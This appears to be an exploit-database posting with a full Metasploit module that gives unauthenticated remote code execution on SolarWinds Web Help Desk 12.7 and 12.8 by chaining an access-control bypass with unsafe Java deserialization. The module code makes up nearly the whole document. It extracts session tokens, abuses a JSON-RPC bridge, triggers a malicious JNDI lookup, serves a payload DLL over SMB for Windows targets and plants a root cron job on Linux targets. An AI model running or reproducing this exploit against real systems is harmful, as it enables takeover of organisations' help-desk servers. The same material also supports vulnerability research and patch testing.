=============================================================================================================================================
| # Title     : SolarWinds Web Help Desk – Unauthenticated RCE via Access Control Bypass & Unsafe Deserialization                           |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://www.solarwinds.com/web-help-desk                                                                                    |
=============================================================================================================================================

[+] Summary    : This Metasploit module targets SolarWinds Web Help Desk and exploits two chained vulnerabilities:
                 CVE-2025-40536 – Access control bypass
                 CVE-2025-40551 – Unsafe Java deserialization leading to Remote Code Execution

The attack does not require authentication.

[+] High-Level Exploitation Flow

Initial Session Establishment
Retrieves application version, platform (Windows/Linux), session cookies, and required tokens.

Login Preference Page Access
Extracts an internal externalAuthContainer reference.

SAML Object Trigger
Prepares internal state required to access JSON-RPC functionality.

JSON-RPC Bridge Creation
Identifies the internal AJAX endpoint used for backend method invocation.

Unsafe Deserialization Trigger
Sends crafted JSON data to backend WebObjects methods, resulting in arbitrary class instantiation and eventual code execution.

[+] Affected Versions

WHD 12.7.x

WHD 12.8.x

Windows and Linux deployments


[+] POC : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::JndiInjection
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::EXE
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
        'Description' => %q{
          This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
          vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
          server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'indoushka',
        ],
        'References' => [
          ['CVE', '2025-40536'],
          ['CVE', '2025-40551'],
          ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
          ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
        ],
        'DisclosureDate' => '2026-01-28',
        'Privileged' => true,
        'Platform' => ['win', 'unix', 'linux'],
        'Arch' => [ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'WHD 12.8.* on Windows (Native code payload)', {
              'VersionStart' => '12.8',
              'Platform' => 'win',
              'Arch' => ARCH_X64
            }
          ],
          [
            'WHD 12.8.* on Linux (Command payload)', {
              'VersionStart' => '12.8',
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Payload' => {
                'BadChars' => '\''
              },
              'WfsDelay' => 90
            }
          ],
          [
            'WHD 12.7.* on Windows (Command payload)', {
              'VersionStart' => '12.7',
              'GadgetChain' => 'CommonsBeanutils1',
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
          [
            'WHD 12.7.* on Linux (Command payload)', {
              'VersionStart' => '12.7',
              'GadgetChain' => 'CommonsBeanutils1',
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    session_ctx = step1_initial_session
    CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
  rescue Msf::Exploit::Failed => e
    CheckCode::Unknown(e.to_s)
  end

  def exploit
    print_status('Step 1 - Initial session...')
    session_ctx = step1_initial_session

    fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
    case target['Platform']
    when 'win'
      fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
    when 'unix', 'linux' 
      fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
    else
      fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
    end


    session_ctx[:service] = get_target_service(session_ctx)

    print_status('Step 2 - Login pref page...')
    external_auth_container = step2_login_pref_page(session_ctx)

    print_status('Step 3 - Trigger SAML object...')
    step3_trigger_saml_object(session_ctx, external_auth_container)

    print_status('Step 4 - Create JSON RPC bridge...')
    jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)

    print_status('Step 5 - Unsafe deserialization...')
    get_target_gadgets(session_ctx).each do |gadget|
      print_status("  Executing gadget - #{gadget[:title]}")
      step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
      Rex::ThreadSafe.sleep(2)
    end

    retry_until_truthy(timeout: datastore['WfsDelay']) do
      !handler_enabled? || session_created?
    end

    unless session_ctx[:service].nil?
      session_ctx[:service].cleanup
    end

    handler
  ensure
    cleanup_service
  end

  class SimpleSMBShareWrapper < ::Msf::Exploit
    include ::Msf::Exploit::Remote::SMB::Server::Share
  end

  def get_target_service(session_ctx)
    if target['VersionStart'] == '12.7'
      start_service
      return nil
    end

    return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows

    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
      fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
    end

    print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
    smb_service = SimpleSMBShareWrapper.new
    smb_service.datastore['SRVPORT'] = 445
    smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
    smb_service.setup
    smb_service.file_contents = generate_payload_dll
    smb_service.file_name += '.dll'
    smb_service.start_service({
      'ServerPort' => 445,
      'ServerHost' => datastore['SRVHOST']
    })
    smb_service
  end

  def get_target_gadgets(session_ctx)
    gadgets = []

    if target['VersionStart'] == '12.7'
      print_status("Malicious JNDI URL: #{jndi_string}")
      gadgets.push({
        title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
        json_data: {
          'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource',
          'jndiLocation' => jndi_string
        }
      })
    elsif target['VersionStart'] == '12.8'
      gadgets.push({
        title: 'Registering the org.sqlite.JDBC driver',
        json_data: {
          'javaClass' => 'org.sqlite.JDBC'
        }
      })

      if session_ctx[:platform] == :windows
        print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
        gadgets.push({
          title: 'Loading malicious extension over SMB',
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
            'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
          }
        })
      elsif session_ctx[:platform] == :linux
        random_name = Rex::Text.rand_text_alpha(8)
        gadgets.push({
          title: "Creating file in /etc/cron.d/#{random_name}",
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
            'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
          }
        })
        gadgets.push({
          title: "Dirty file write to /etc/cron.d/#{random_name}",
          json_data: {
            'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
            'driverClassName' => 'org.sqlite.SQLiteDataSource',
            'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
            'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
          }
        })
      end
    else
      fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
    end

    gadgets
  end

  def build_ldap_search_response_payload
    build_ldap_search_response_payload_inline(target['GadgetChain'])
  end

  def step1_initial_session
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
      'headers' => {
        'x-webobjects-recording' => '1'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200

    m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
    version = m[1].gsub('_', '.')
    vprint_status("Version: #{version}")

    m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
    resource_path = Rex::Text.uri_decode(m[1])

    platform = if resource_path =~ %r{file:////.:/}
                 :windows
               else
                 resource_path =~ %r{file:///Applications/} ? :mac : :linux
               end
    vprint_status("Platform: #{platform}")

    cookies = res.get_cookies
    jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
    vprint_status("JSESSIONID: #{jsessionid}")

    xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
    vprint_status("XSRF-TOKEN: #{xsrf_token}")

    x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
    fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
    vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")

    {
      version: version,
      platform: platform,
      jsessionid: jsessionid,
      xsrf_token: xsrf_token,
      x_webobjects_session_id: x_webobjects_session_id
    }
  end

  def step2_login_pref_page(session_ctx)
    res = send_request_cgi(
      'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'vars_get' => {
        Rex::Text.rand_text_alpha(8) => '/ajax/',
        'wopage' => 'LoginPref'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
    m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)"})
    fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m

    external_auth_container = m[1]
    vprint_status("externalAuthContainer: #{external_auth_container}")

    external_auth_container
  end

  def step3_trigger_saml_object(session_ctx, external_auth_container)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, external_auth_container),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
    )

    fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
  end

  def step4_create_jsonrpc_bridge(session_ctx)
    res = send_request_cgi(
      'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'vars_get' => {
        Rex::Text.rand_text_alpha(8) => '/ajax/',
        'wopage' => 'LoginPref'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200

    m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
    fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m

    jsonrpc_client = m[1]
    vprint_status("JSONRpcClient: #{jsonrpc_client}")

    jsonrpc_client
  end

  def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
    random_id = rand(1..0xffff)
    random_name = Rex::Text.rand_text_alpha(8)

    allowlist = [
      'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
      'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
    ]

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => {
        Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
        'id' => random_id,
        'method' => 'wopage.setVariableValueForName',
        'params' => [
          random_name,
          json_data
        ]
      }.to_json
    )

    fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
      'headers' => {
        'X-Xsrf-Token' => session_ctx[:xsrf_token],
        'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
      },
      'data' => {
        Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
        'id' => random_id,
        'method' => 'wopage.variableValueForName',
        'params' => [random_name]
      }.to_json
    )

    unless return_early
      fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
      fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
    end
  end
end

	
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================